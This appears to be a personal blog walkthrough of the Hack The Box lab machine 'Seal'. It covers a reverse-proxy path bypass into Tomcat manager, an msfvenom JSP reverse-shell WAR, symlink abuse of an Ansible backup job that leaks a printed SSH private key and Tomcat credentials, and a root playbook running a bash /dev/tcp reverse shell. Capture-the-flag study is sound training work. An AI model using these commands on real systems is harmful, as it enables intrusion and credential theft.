top of page
  • BlueDolphin

Hack the Box - Seal

Updated: Apr 20, 2022

Engagement flow


Summary

This was a skill expanding experience that forced me to think outside of the box. We started off with a narrow attack surface that quickly expanded after some content discovery that lead to a hidden git repository. This git repo provided the backend configurations for our two severs, Nginx on port 443 and tomcat on port 8080. We eventually learned that the Nginx was configured as a reverse proxy and had SSL configurations in place. The Tomcat server in the backend however did not have SSL configurations in place. From here we were able to bypass page permissions by abusing the lack of data normalization between the two servers, with the use of a ";" character. From here we gained access to a prohibited webpage, by requesting it from the backend server with SSRF to bypass the reverse proxy in the front.


From here we were able to access the Tomcat manager page where we could upload a war file. We utilized msfvenom to create a reverse war javascript shell over TCP. This proved access as a restricted user. From here we move laterally by identifying a powershell script responsible for taking backups. We exploited this by creating a sim link for the Luis users home folder, to the backup folder. This was largely possible due to the use of a wildcard in the backup path. From here we utilzied the SSH key to connect in as Luis where we purused root access by reviewing sudo -l to learn about ansible playbooks of which we had wild card permissions to run. From here we created our own ansible playbook with a command call packed with a bash reverse shell for root.


Tools used
  • Burpsuite

  • Dirbuster

  • msfvenom

  • symlinks

  • Ansible playbooks

Processes / Techniques
  • Serverside request forgery through a rev proxy

  • Content discovery

  • Symbolic linking path injection

  • Ansible playbook creation


References

https://www.acunetix.com/blog/articles/a-fresh-look-on-reverse-proxy-related-attacks/

https://docs.ansible.com/ansible/latest/network/getting_started/first_playbook.html


Enumeration

Starting off with enumeration as usual we notice our attack surface is initially very small which is quite nice. Upon further meditations of these results I noticed a tid bit of info I had missed, and that was the fact that SSL is enabled in the front end, but is not enabled in the back end.

──(kali㉿kali)-[~]
└─$ nmap -sC -sV 10.129.95.190 
Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-02 20:18 EST
Nmap scan report for 10.129.95.190
Host is up (0.069s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 4b:89:47:39:67:3d:07:31:5e:3f:4c:27:41:1f:f9:67 (RSA)
|   256 04:a7:4f:39:95:65:c5:b0:8d:d5:49:2e:d8:44:00:36 (ECDSA)
|_  256 b4:5e:83:93:c5:42:49:de:71:25:92:71:23:b1:85:54 (ED25519)
443/tcp  open  ssl/http   nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Seal Market
| ssl-cert: Subject: commonName=seal.htb/organizationName=Seal Pvt Ltd/stateOrProvinceName=London/countryName=UK
| Not valid before: 2021-05-05T10:24:03
|_Not valid after:  2022-05-05T10:24:03
| tls-alpn: 
|_  http/1.1
| tls-nextprotoneg: 
|_  http/1.1
8080/tcp open  http-proxy
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 401 Unauthorized
|     Date: Fri, 03 Dec 2021 01:18:13 GMT
|     Set-Cookie: JSESSIONID=node013sugo77sa0di1suv6xjpzz9w72.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 0
|   GetRequest: 
|     HTTP/1.1 401 Unauthorized
|     Date: Fri, 03 Dec 2021 01:18:12 GMT
|     Set-Cookie: JSESSIONID=node01izrr5z0ojhwp7ql5xkiz1gag0.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 0
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Date: Fri, 03 Dec 2021 01:18:12 GMT
|     Set-Cookie: JSESSIONID=node07i636u7f6zozwb8giaub5dph1.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Allow: GET,HEAD,POST,OPTIONS
|     Content-Length: 0
|   RPCCheck: 
|     HTTP/1.1 400 Illegal character OTEXT=0x80
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 71
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: Illegal character OTEXT=0x80</pre>
|   RTSPRequest: 
|     HTTP/1.1 505 Unknown Version
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 58
|     Connection: close
|     <h1>Bad Message 505</h1><pre>reason: Unknown Version</pre>
|   Socks4: 
|     HTTP/1.1 400 Illegal character CNTL=0x4
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 69
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x4</pre>
|   Socks5: 
|     HTTP/1.1 400 Illegal character CNTL=0x5
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 69
|     Connection: close
|_    <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x5</pre>
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.91%I=7%D=12/2%Time=61A97055%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,F4,"HTTP/1\.1\x20401\x20Unauthorized\r\nDate:\x20Fri,\x2003\x2
SF:0Dec\x202021\x2001:18:12\x20GMT\r\nSet-Cookie:\x20JSESSIONID=nod




Web Enumeration - seal.htb:8080

This was our landing page and I initially noticed a redirect in the URL above which stood out as odd to me. After looking around I decided to create an account with the option at the bottom of the form.


Once I was in I noticed two repositories on the left. I also want to point out that because I am not an expert with git, I just spent some time poking around and soaking up all the information on the table instead of rushing to find vulnerabilities. I often find that taking your time and reviewing something organically pays bigger dividends, than rushing through something for the sake of it.



Seal Market App Git Repo

Here we can see several to do tasks which provide a new sense of direction. Firstly there is mention about removing mutual authentication. So this could be something specific with their app that we do not know about. But Occam's razor here suggests this is hinting at SSL.

Secondly we see talk about deploying an updated tomcat configuration. Although nothing evident came to mind, this makes me think that perhaps we could enumerate for a misconfiguration. Lastly, we have a task for disabling manager and host-manager. I think this could be related to the manager page, as it provided a forbidden and not a 404 response.


root/seal_market/nginx

This next folder has some interesting information into the configuration of nginx.


root/seal_market/nginx/sites-available

The below code reveals very crucial information regarding the "mutual authentication" that was hinted in the ToDo tasks. We noticed that the manager pages are wrapped in SSL checks highlighted below. This stands true for Nginx but how about TomCat. Well after looking through the Tomcat repo I saw nothing related to SSL.


#################################################################

# You should look at the following URL's in order to grasp a solid understanding

# of Nginx configuration files in order to fully unleash the power of Nginx.

# https://www.nginx.com/resources/wiki/start/

# https://www.nginx.com/resources/wiki/start/topics/tutorials/config_pitfalls/

# https://wiki.debian.org/Nginx/DirectoryStructure

#

# In most cases, administrators will remove this file from sites-enabled/ and

# leave it as reference inside of sites-available where it will continue to be

# updated by the nginx packaging team.

#

# This file will automatically load configuration files provided by other

# applications, such as Drupal or Wordpress. These applications will be made

# available underneath a path with that package name, such as /drupal8.

#

# Please see /usr/share/doc/nginx-doc/examples/ for more detailed examples.

##

# Default server configuration

#

ssl_certificate /var/www/keys/selfsigned.crt;

ssl_certificate_key /var/www/keys/selfsigned.key;

ssl_client_certificate /var/www/keys/selfsigned-ca.crt;

server {

listen 443 ssl default_server;

listen [::]:443 ssl default_server;

# SSL configuration

#

# listen 443 ssl default_server;

# listen [::]:443 ssl default_server;

#

# Note: You should disable gzip for SSL traffic.

# See: https://bugs.debian.org/773332

#

# Read up on ssl_ciphers to ensure a secure configuration.

# See: https://bugs.debian.org/765782

#

# Self signed certs generated by the ssl-cert package

# Don't use them in a production server!

#

# include snippets/snakeoil.conf;

root /var/www/html;

ssl_protocols TLSv1.1 TLSv1.2;

ssl_verify_client optional;

# Add index.php to the list if you are using PHP

index index.html index.htm index.nginx-debian.html;

server_name _;

location /manager/html {

if ($ssl_client_verify != SUCCESS) {

return 403;

}

proxy_set_header Host $host;

proxy_set_header X-Real-IP $remote_addr;

proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

proxy_set_header X-Forwarded-Proto $scheme;

proxy_pass http://localhost:8000;

proxy_read_timeout 90;

proxy_redirect http://localhost:8000 https://0.0.0.0;

# First attempt to serve request as file, then

# as directory, then fall back to displaying a 404.

# try_files $uri $uri/ =404;

}

location /admin/dashboard {

if ($ssl_client_verify != SUCCESS) {

return 403;

}

proxy_set_header Host $host;

proxy_set_header X-Real-IP $remote_addr;

proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

proxy_set_header X-Forwarded-Proto $scheme;

proxy_pass http://localhost:8000;

proxy_read_timeout 90;

proxy_redirect http://localhost:8000 https://0.0.0.0;

# First attempt to serve request as file, then

# as directory, then fall back to displaying a 404.

# try_files $uri $uri/ =404;

}

location /host-manager/html {

if ($ssl_client_verify != SUCCESS) {

return 403;

}

proxy_set_header Host $host;

proxy_set_header X-Real-IP $remote_addr;

proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

proxy_set_header X-Forwarded-Proto $scheme;

proxy_pass http://localhost:8000;

proxy_read_timeout 90;

proxy_redirect http://localhost:8000 https://0.0.0.0;

# First attempt to serve request as file, then

# as directory, then fall back to displaying a 404.

# try_files $uri $uri/ =404;

}

location / {

proxy_set_header Host $host;

proxy_set_header X-Real-IP $remote_addr;

proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

proxy_set_header X-Forwarded-Proto $scheme;

proxy_pass http://localhost:8000;

proxy_read_timeout 90;

proxy_redirect http://localhost:8000 https://0.0.0.0;

}

# pass PHP scripts to FastCGI server

#

#location ~ \.php$ {

# include snippets/fastcgi-php.conf;

#

# # With php-fpm (or other unix sockets):

# fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;

# # With php-cgi (or other tcp sockets):

# fastcgi_pass 127.0.0.1:9000;

#}

# deny access to .htaccess files, if Apache's document root

# concurs with nginx's one

#

#location ~ /\.ht {

# deny all;

#}

}

# Virtual Host configuration for example.com

#

# You can move that to a different file under sites-available/ and symlink that

# to sites-enabled/ to enable it.

#

# listen 80;

# listen [::]:80;

#

# server_name example.com;

#

# root /var/www/example.com;

# index index.html;

#

# location / {

# try_files $uri $uri/ =404;

# }



/root/seal_market/commit

A natural part of enumerating a git repo is to look through the commits to learn what has happened or not happened along the way.

username="tomcat"

password="42MrHBf*z8{Z%"

roles="manager-gui,admin-gui"


Port 80 Enumeration - seal.htb

From here we visit the website on port 80.


Running a dirbuster reveals /manager/


/manager/html


Visiting /manager/html provided a forbidden error and discloses that nginx is in use. Which we had already established from the initial nmap scan.


/manager/status

Browsing to managet/status prompts us for credentials


username="tomcat"

password="42MrHBf*z8{Z%"

roles="manager-gui,admin-gui"


We can see the status page here, but there is nothing helpful to move us forwards.



SSRF

It eventually dawned on me to research nginx and tomcat reverse proxy vulnerabilities.

I came across this site here and the link is in the description under references. It talked about the ";" being used as a bad character and the lack of normalization between the front end and the back end. After some trial and error I was able to gain access to the manager/html forbidden page. This occurred by passing the front end with the escape character which was sent and normalized to the back end tomcat server which served up our forbidden page. This was accomplished by opening burpsuite and adding the terminator as in the string down below.





User

From here we can see that in the /manager/ page we have access to the upload war function which we will abuse by creating a war shell and uploading for a reverse shell.




└─$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.80 LPORT=6363 -f war > shell.war 
Payload size: 1102 bytes
Final size of war file: 1102 bytes

I received an access denied page which was unfortunate, so I tried renaming the shell.war to shell and this did not make a difference. I don't know why I tried as it is to do with permissions clearly. It eventually became clear to me that


Burp the request


It just worked with the burp browser. I think that the browser may of had client side protection and was normalizing or URL encoding our escape character on the upload, clearing away the ";" character.




Upgrading the shell

which python3

python3 -c 'import pty;pty.spawn("/bin/bash")'


Lateral movement

From here we run linpeas as usual.


We notice an active port over 8000.


Some juicy backup files.


Ansible vault password file?


From here I spent some time meditating on the backup scripts found in /opt/backup/ below. You can see that it copies information and backs it up to the /files/ folder within backup. Now I have seen these before and we can leverage this to output the contents of the users folder for flag and possibly the SSH key if it exists.

run.yml
tomcat@seal:/opt/backups/playbook$ cat run.yml
cat run.yml
- hosts: localhost
  tasks:
  - name: Copy Files
    synchronize: src=/var/lib/tomcat9/webapps/ROOT/admin/dashboard dest=/opt/backups/files copy_links=yes
  - name: Server Backups
    archive:
      path: /opt/backups/files/
      dest: "/opt/backups/archives/backup-{{ansible_date_time.date}}-{{ansible_date_time.time}}.gz"
  - name: Clean
    file:
      state: absent
      path: /opt/backups/files/

The only thing is I don't think we would have permissions to /admin/dashboard but lets check anyways. The bad news is we do not have permissions as user tomcat. The good news is that the /admin/dashboard/uploads/

bootstrap  css  images  index.html  scripts  uploads
tomcat@seal:/var/lib/tomcat9/webapps/ROOT/admin/dashboard$ ls -la
ls -la
total 100
drwxr-xr-x 7 root root  4096 May  7  2021 .
drwxr-xr-x 3 root root  4096 May  6  2021 ..
drwxr-xr-x 5 root root  4096 Mar  7  2015 bootstrap
drwxr-xr-x 2 root root  4096 Mar  7  2015 css
drwxr-xr-x 4 root root  4096 Mar  7  2015 images
-rw-r--r-- 1 root root 71744 May  6  2021 index.html
drwxr-xr-x 4 root root  4096 Mar  7  2015 scripts
drwxrwxrwx 2 root root  4096 May  7  2021 uploads

What I have done in the past is specifically to do with Symbolic linking in these situations. So referencing this guide here I give it a shot. https://kb.iu.edu/d/abbe



ln -s /home/luis/ /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads/


After this I navigated to /opt/backups/archive/ here I found the latest backup and I could not copy it over to the tmp folder. So I learned that /dev/shm also acts as a temp folder and I copied the backup over there.


From here I ran gunzip which turned it into a tar file. So I renamed the folder to deal with the bad characters used in the title to denote time.


tomcat@seal:/dev/shm/dashboard$ ls -la
ls -la
total 72
drwxr-x--- 7 tomcat tomcat   160 May  7  2021 .
drwxrwxrwt 3 root   root      80 Dec  4 16:14 ..
drwxr-x--- 5 tomcat tomcat   100 Dec  4 16:13 bootstrap
drwxr-x--- 2 tomcat tomcat    60 Dec  4 16:13 css
drwxr-x--- 4 tomcat tomcat   140 Dec  4 16:13 images
-rw-r----- 1 tomcat tomcat 71744 May  6  2021 index.html
drwxr-x--- 4 tomcat tomcat   140 Dec  4 16:13 scripts
drwxr-x--- 2 tomcat tomcat    40 Dec  4 16:00 uploads

I then copied the SSH key after grabbing the user.txt flag.


tomcat@seal:/dev/shm/dashboard/uploads/luis/.ssh$ ls

ls

authorized_keys id_rsa id_rsa.pub


tomcat@seal:/dev/shm/dashboard/uploads/luis/.ssh$ cat id_rsa

cat id_rsa

-----BEGIN OPENSSH PRIVATE KEY-----

b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn

NhAAAAAwEAAQAAAYEAs3kISCeddKacCQhVcpTTVcLxM9q2iQKzi9hsnlEt0Z7kchZrSZsG

DkID79g/4XrnoKXm2ud0gmZxdVJUAQ33Kg3Nk6czDI0wevr/YfBpCkXm5rsnfo5zjEuVGo

MTJhNZ8iOu7sCDZZA6sX48OFtuF6zuUgFqzHrdHrR4+YFawgP8OgJ9NWkapmmtkkxcEbF4

n1+v/l+74kEmti7jTiTSQgPr/ToTdvQtw12+YafVtEkB/8ipEnAIoD/B6JOOd4pPTNgX8R

MPWH93mStrqblnMOWJto9YpLxhM43v9I6EUje8gp/EcSrvHDBezEEMzZS+IbcP+hnw5ela

duLmtdTSMPTCWkpI9hXHNU9njcD+TRR/A90VHqdqLlaJkgC9zpRXB2096DVxFYdOLcjgeN

3rcnCAEhQ75VsEHXE/NHgO8zjD2o3cnAOzsMyQrqNXtPa+qHjVDch/T1TjSlCWxAFHy/OI

PxBupE/kbEoy1+dJHuR+gEp6yMlfqFyEVhUbDqyhAAAFgOAxrtXgMa7VAAAAB3NzaC1yc2

EAAAGBALN5CEgnnXSmnAkIVXKU01XC8TPatokCs4vYbJ5RLdGe5HIWa0mbBg5CA+/YP+F6

56Cl5trndIJmcXVSVAEN9yoNzZOnMwyNMHr6/2HwaQpF5ua7J36Oc4xLlRqDEyYTWfIjru

7Ag2WQOrF+PDhbbhes7lIBasx63R60ePmBWsID/DoCfTVpGqZprZJMXBGxeJ9fr/5fu+JB

JrYu404k0kID6/06E3b0LcNdvmGn1bRJAf/IqRJwCKA/weiTjneKT0zYF/ETD1h/d5kra6

m5ZzDlibaPWKS8YTON7/SOhFI3vIKfxHEq7xwwXsxBDM2UviG3D/oZ8OXpWnbi5rXU0jD0

wlpKSPYVxzVPZ43A/k0UfwPdFR6nai5WiZIAvc6UVwdtPeg1cRWHTi3I4Hjd63JwgBIUO+

VbBB1xPzR4DvM4w9qN3JwDs7DMkK6jV7T2vqh41Q3If09U40pQlsQBR8vziD8QbqRP5GxK

MtfnSR7kfoBKesjJX6hchFYVGw6soQAAAAMBAAEAAAGAJuAsvxR1svL0EbDQcYVzUbxsaw

MRTxRauAwlWxXSivmUGnJowwTlhukd2TJKhBkPW2kUXI6OWkC+it9Oevv/cgiTY0xwbmOX

AMylzR06Y5NItOoNYAiTVux4W8nQuAqxDRZVqjnhPHrFe/UQLlT/v/khlnngHHLwutn06n

bupeAfHqGzZYJi13FEu8/2kY6TxlH/2WX7WMMsE4KMkjy/nrUixTNzS+0QjKUdvCGS1P6L

hFB+7xN9itjEtBBiZ9p5feXwBn6aqIgSFyQJlU4e2CUFUd5PrkiHLf8mXjJJGMHbHne2ru

p0OXVqjxAW3qifK3UEp0bCInJS7UJ7tR9VI52QzQ/RfGJ+CshtqBeEioaLfPi9CxZ6LN4S

1zriasJdAzB3Hbu4NVVOc/xkH9mTJQ3kf5RGScCYablLjUCOq05aPVqhaW6tyDaf8ob85q

/s+CYaOrbi1YhxhOM8o5MvNzsrS8eIk1hTOf0msKEJ5mWo+RfhhCj9FTFSqyK79hQBAAAA

wQCfhc5si+UU+SHfQBg9lm8d1YAfnXDP5X1wjz+GFw15lGbg1x4YBgIz0A8PijpXeVthz2

ib+73vdNZgUD9t2B0TiwogMs2UlxuTguWivb9JxAZdbzr8Ro1XBCU6wtzQb4e22licifaa

WS/o1mRHOOP90jfpPOby8WZnDuLm4+IBzvcHFQaO7LUG2oPEwTl0ii7SmaXdahdCfQwkN5

NkfLXfUqg41nDOfLyRCqNAXu+pEbp8UIUl2tptCJo/zDzVsI4AAADBAOUwZjaZm6w/EGP6

KX6w28Y/sa/0hPhLJvcuZbOrgMj+8FlSceVznA3gAuClJNNn0jPZ0RMWUB978eu4J3se5O

plVaLGrzT88K0nQbvM3KhcBjsOxCpuwxUlTrJi6+i9WyPENovEWU5c79WJsTKjIpMOmEbM

kCbtTRbHtuKwuSe8OWMTF2+Bmt0nMQc9IRD1II2TxNDLNGVqbq4fhBEW4co1X076CUGDnx

5K5HCjel95b+9H2ZXnW9LeLd8G7oFRUQAAAMEAyHfDZKku36IYmNeDEEcCUrO9Nl0Nle7b

Vd3EJug4Wsl/n1UqCCABQjhWpWA3oniOXwmbAsvFiox5EdBYzr6vsWmeleOQTRuJCbw6lc

YG6tmwVeTbhkycXMbEVeIsG0a42Yj1ywrq5GyXKYaFr3DnDITcqLbdxIIEdH1vrRjYynVM

ueX7aq9pIXhcGT6M9CGUJjyEkvOrx+HRD4TKu0lGcO3LVANGPqSfks4r5Ea4LiZ4Q4YnOJ

u8KqOiDVrwmFJRAAAACWx1aXNAc2VhbAE=

-----END OPENSSH PRIVATE KEY-----


I copied the ssh private key down and connected in as user luis.




Root

For this phase we will quickly learn about permissions to run an ansible playbook as root and from here we will craft our playbook to pass a bash command for a reverse shell. This was pretty easy compare to the rest of this lab.


Running Sudo -l shows the following.


Reviewing some reference materials on ansible playbooks I quickly learned we could pass commands to our playbook and went straight for the kill with a bash reverse shell over tcp.


References:


Ansible playbook

- hosts: localhost
  tasks:
  - name: Boom
    command: /bin/bash -c "bash -i >& /dev/tcp/10.10.14.43/6363 0>&1"


Running our playbook called the command to our listener and we have root!



listening on [any] 6363 ...
connect to [10.10.14.80] from (UNKNOWN) [10.129.95.190] 45114
root@seal:/home/luis# whoami
whoami
root



18 views0 comments

Recent Posts

See All
bottom of page